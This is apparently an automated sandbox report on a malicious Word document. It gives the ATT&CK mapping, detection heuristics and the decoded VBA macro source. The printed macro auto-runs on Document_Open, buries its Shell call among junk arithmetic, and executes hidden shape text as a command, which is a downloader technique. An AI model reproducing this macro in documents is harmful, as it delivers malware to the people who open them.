MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro that executes an obfuscated PowerShell command. This command decodes and executes a second-stage payload, likely for downloading further malware. The presence of the 'Document_Open' macro and the suspicious command execution heuristics strongly indicate a malicious downloader.
Heuristics 7
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ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
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Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
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Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1279 bytes |
SHA-256: 65b6baadcd9ad16d259e8dbc603e22cf2ffa28b9f5423c3bebcfb562a2b25b8c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "FTtpLzfzDpkEjD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next Error ZrJjTk + GjHJGc + vihch + qqYarY + jUhmY + qtlzqo * (DNdot + PLABi + XVziS + suUQmB) FormatNumber MaUVi + QlPhT / (qlqsQs + ttIHB + QZafUt + QKnwYp * (PhInFI + dWKlTz + taETS + ScpGun)) TimeValue (NlbKir + LudNjh) / JEjSDi + WtKSQ + uCnbbT + BikpW Error hdvow + tphap - rozVTT + WvVwc + nwkhi + cinTH - YnHlpB + DVdMQ - fAtXdM + TcJZIH + TMwDV + jvfMkF Error hojRZ + fYZMt / kLuORO + qLTjd + IPofAc + Gbpvz - (fjmOS + waziDJ + CWwzOF + iQKqt + (kjlJW + PGipEw)) TimeValue zuUbIw + lVBtJ / DPtBvm + kjcFG + nrBsS + uwYPRr Const qjroTntk = 261035486 - 261035486 Shell@ Shapes(JIjlVCZ + bbqtd + 1 + vUsEPo + EurUh).TextFrame.TextRange.Text + MLbZH + XXLwd, qjroTntk FormatNumber jdCZL + SiozwJ / (DkCwE + bzLKGz + hRAHm + tAkSWo + kTwOXP + jFptPC) TimeValue (KUTwat + BihLSP * (TRjIO + IBzmq + (lbcHr + hEpPzZ))) Error IVdTTI + JqPUSU + bKEGNY + fSEHr * wUsTKJ + wYNAN + (bDUMEp + ZwMGp) End Sub |
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